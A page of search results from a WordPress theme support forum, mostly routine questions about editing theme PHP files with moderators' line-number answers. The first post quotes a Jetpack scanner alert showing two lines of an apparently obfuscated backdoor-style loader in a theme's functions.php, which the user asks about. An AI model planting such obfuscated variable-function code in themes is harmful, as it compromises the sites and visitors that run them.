Search Results for 'php'

Home Forums Search Search Results for 'php'

Viewing 15 results - 241 through 255 (of 1,993 total)
  • Author
    Search Results
  • #187326
    adVETsityadVETsity
    Participant
    Member since: February 6, 2021

    Can someone help me with this? Received a total of three. Is that code legit? It was a part of the zip file.
    The file functions.php contains a malicious code pattern
    Threat found (php_suspicious_variable_function_005)
    More
    What was the problem?

    Jetpack found a code pattern that is commonly present on known malicious code. This signature will flag any suspicious usage of PHP’s Variable functions. The code in these files needs to be reviewed, and possibly cleaned.

    The technical details

    Threat found in file:

    /home1//public_html/wp-content/themes/skeleton-reworked/functions.php
    41
    42
    43

    $reqw = $ay($ao($oa(“$pass”), ‘wp_function’));
    preg_match(‘#gogo(.*)enen#is’, $reqw, $mtchs);

    #187289

    In reply to: girlie or girlie pro

    Sonal S SinhaSonal S Sinha
    Moderator
    • Topics: 0
    • Replies: 31243
    • Total: 31243
    Member since: August 16, 2013

    Hi,

    Kindly go to theme folder >> templates >> post-layout4.php >> Line number 73 >> and change it there.

    Regards,
    Chris

    #187261
    palomapaloma
    Participant
    Member since: August 9, 2016

    Hi, I’m using solar energy theme and I want to adjust the size widths of the footer columns.
    Using 3 footer columns, making the 1st column 25% and the other 2 equal size (or similar size).
    How do I change the code for that?
    I see :
    <?php } if ($footertype == 3) {?>
    <div class=”footercols3″ ><?php if (dynamic_sidebar(‘footer-1’)) : else : ?><h4><?php if (!empty ($complete[‘foot_cols1_title’])) { $ftcols1 = html_entity_decode($complete[‘foot_cols1_title’]); $ftcols1 = stripslashes($ftcols1); echo do_shortcode($ftcols1); } ?></h4><?php $ftcols1cntnt = $complete[‘foot_cols1_content’]; echo do_shortcode($ftcols1cntnt); endif;?></div>
    <div class=”footercols3″><?php if (dynamic_sidebar(‘footer-2’)) : else : ?><h4><?php if (!empty ($complete[‘foot_cols2_title’])) { $ftcols2 = html_entity_decode($complete[‘foot_cols2_title’]); $ftcols2 = stripslashes($ftcols2); echo do_shortcode($ftcols2); } ?></h4><?php $ftcols2cntnt = $complete[‘foot_cols2_content’]; echo do_shortcode($ftcols2cntnt); endif;?></div>
    <div class=”footercols3″><?php if (dynamic_sidebar(‘footer-3’)) : else : ?><h4><?php if (!empty ($complete[‘foot_cols3_title’])) { $ftcols3 = html_entity_decode($complete[‘foot_cols3_title’]); $ftcols3 = stripslashes($ftcols3); echo do_shortcode($ftcols3); } ?></h4><?php $ftcols3cntnt = $complete[‘foot_cols3_content’]; echo do_shortcode($ftcols3cntnt); endif;?></div>
    <?php } ?>

    #187246
    Wiktor GrochalskiWiktor Grochalski
    Participant
    • Topics: 1
    • Replies: 6
    • Total: 7
    Member since: November 13, 2021

    Dave, did a search in WordPress for this file frontpage/slider.php

    but came back saying no file exists

    #187240

    In reply to: Home Theater

    Sonal S SinhaSonal S Sinha
    Moderator
    • Topics: 0
    • Replies: 31243
    • Total: 31243
    Member since: August 16, 2013

    Hi,

    We have make this changes in function.php.

    Kindly go to sktframe >> core-functions.php >> line no. 1873 and make change below.

    <?php $categories = get_categories( array('taxonomy' => 'product_cat', 'parent' => 0)); foreach ($categories as $category) { ?>

    We have added ???? 'parent' => 0 code after 'product_cat'.

    Regards,
    Dave

    #187235
    Sonal S SinhaSonal S Sinha
    Moderator
    • Topics: 0
    • Replies: 31243
    • Total: 31243
    Member since: August 16, 2013

    Hi,

    Q. I somehow, somewhere click something that now on all pages I have on the right-hand side of the page an option for people to click links to get around my pages, I want that out and the contents filling the whole page?

    Ans: Kindly go to pages >> interior >> Template >> Select Page Full Width Template from dropdown.

    Page Full Width:

    Helps in setting up the content on any page without Sidebar

    See example screenshot:
    https://www.sktthemesdemo.net/documentation/skt-elementor-doc/assets/img/screenshot-template.png

    Q. our front-page slider stopped working??

    Ans: Kindly edit frontpage/slider.php file, go to line number 14 and make below changes:

    running: true,
    paused: false,
    stop: false,

    Regards,
    Dave

    #187209
    palomapaloma
    Participant
    Member since: August 9, 2016

    Hi, I am trying to place a multi page wpform on top of my slider header image and I go to the theme’s php page: Solar Energy: slider-static.php (frontpage/slider-static.php)

    And I insert this snippet:
    <div class=”extra-slide-content”>
    <?php echo do_shortcode(‘[wpforms id=”5141″]’); ?>
    </div><!– /.extra-slide-content –>
    and my form either ends up above or below the picture. I want the form to be on top of the image. If I can have it to one half of the image, lef or right would be great.

    How do I get it above the image?

    The website is in maintenance mode so you can not see it but it’s using the solar energy theme and I am only using one image in the slider section where I want the form to overlay. It is a multi page wpform

    #187154

    In reply to: Real Estate

    Sonal S SinhaSonal S Sinha
    Moderator
    • Topics: 0
    • Replies: 31243
    • Total: 31243
    Member since: August 16, 2013

    Hi,

    Below codes were missing in header layout 2 php file:

    $skt_realstate_profile =get_option('skt_realstate_profile');
    $skt_realstate_add_listing =get_option('skt_realstate_add_listing');

    Regards,
    Brad

    #187052
    Sonal S SinhaSonal S Sinha
    Moderator
    • Topics: 0
    • Replies: 31243
    • Total: 31243
    Member since: August 16, 2013

    Hi Anne,

    Shortcodes are located in sktframe/core-functions.php from line number 1893 to 2772.

    Regards,
    Brad

    #186968
    Sonal S SinhaSonal S Sinha
    Moderator
    • Topics: 0
    • Replies: 31243
    • Total: 31243
    Member since: August 16, 2013

    Hi,

    Those pages are theme functionality pages and not editable with Elementor. If you want to make changes to those pages you have to edit their php files and it is not recommended to edit php files if you do not have proper knowledge of coding otherwise you will break your website.

    Regards,
    Brad

    #186915

    In reply to: Real Estate

    Sonal S SinhaSonal S Sinha
    Moderator
    • Topics: 0
    • Replies: 31243
    • Total: 31243
    Member since: August 16, 2013

    Hi,

    Kindly go to Appearance » Editor » sktframe » core-functions.php line number 2094.

    Regards,
    Brad

    #186779

    In reply to: Bug in Reiki theme?

    Benita KellyBenita Kelly
    Participant
    • Topics: 1
    • Replies: 1
    • Total: 2
    Member since: April 23, 2021

    Oh, and the site is https://findingclaritywb.com.au, if you wanted to check it.

    btw, it’s a lightspeed server, and we’re running PHP 7.4 (it also happened with 7.3 though).

    Thanks.

    #186581
    Sonal S SinhaSonal S Sinha
    Moderator
    • Topics: 0
    • Replies: 31243
    • Total: 31243
    Member since: August 16, 2013

    Hi,

    Kindly go to >> underwater-pro/sktframe/core-functions.php

    Line no. 2385

    ORDER BY metastart.meta_value DESC LIMIT $limit

    replace by

    ORDER BY metastart.post_id DESC LIMIT $limit

    Regards,
    Dave

    #186418
    Sonal S SinhaSonal S Sinha
    Keymaster
    • Topics: 10
    • Replies: 6994
    • Total: 7004
    Member since: June 12, 2013

    theme folder > functions.php > Line Number 52

    #186155
    Sonal S SinhaSonal S Sinha
    Moderator
    • Topics: 0
    • Replies: 31243
    • Total: 31243
    Member since: August 16, 2013

    Hi,

    Where I can change the text “Phone” for a team member?

    Ans: theme folder >> single-team.php Line Number 67

    Where I would like to change button text “read more” underneath the news and articles section?

    Ans: theme folder >> sktframe >> core-functions.php Line Number 1193

    Regards,
    Chris

Viewing 15 results - 241 through 255 (of 1,993 total)